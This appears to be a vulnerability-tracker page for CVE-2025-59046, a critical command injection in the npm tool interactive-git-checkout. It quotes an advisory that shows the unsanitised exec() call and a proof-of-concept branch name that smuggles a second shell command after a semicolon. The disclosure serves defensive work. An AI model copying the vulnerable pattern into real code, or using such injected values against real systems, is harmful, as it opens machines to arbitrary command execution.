Answer in brief
CVE-2025-59046 records a Critical severity (CVSS 9.8) vulnerability in interactive-git-checkout has a Command Injection vulnerability. The current sources do not mark it as known exploited. The current feed maps interactive-git-checkout (npm). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 9.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps interactive-git-checkout (npm). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| interactive-git-checkoutnpm | >=0 | Not reported |
Published upstream
Sep 10, 2025
Evidence: source:osv:source_dates:source-dates:recordSource modified
Sep 10, 2026
Evidence: source:osv:source_dates:source-dates:recordFirst seen by HOL
Sep 10, 2026
The npm package `interactive-git-checkout` is an interactive command-line tool that allows users to checkout a git branch while it prompts for the branch name on the command-line. It is available as an npm package and can be installed via `npm install -g interactive-git-checkout`. Resources: * Project's npm package: https://www.npmjs.com/package/interactive-git-checkout ## Command Injection Vulnerability The `interactive-git-checkout` tool is vulnerable to a command injection vulnerability because it passes the branch name to the `git checkout` command using the Node.js child process module's `exec()` function without proper input validation or sanitization. The following vulnerable code snippets demonstrates the issue: ```js const { exec: execCb } = require('child_process'); const { promisify } = require('util'); const exec = promisify(execCb); module.exports = async (targetBranch) => { const { stdout, stderr } = await exec(`git checkout ${targetBranch}`); process.stderr.write(stderr); process.stdout.write(stdout); }; ``` ## Exploit Proof of Concept 1. Install the `interactive-git-checkout` package (as suggested by the package's README): ```bash npm install --global interactive-git-checkout ``` 2. Run the executable exposed by the installed package: ```bash $ igc ``` 3. When prompted, enter the following branch name: ```bash hello ; echo 'Command Injection Vulnerability Exploited!' > /tmp/command-injection.txt; # ``` ## Vulnerable versions All versions of interactive-git-checkout are vulnerable to this issue, up to and including to the latest version of `1.1.4`. # Author Liran Tal
Quoted source text, attributed separately from HOL analysis.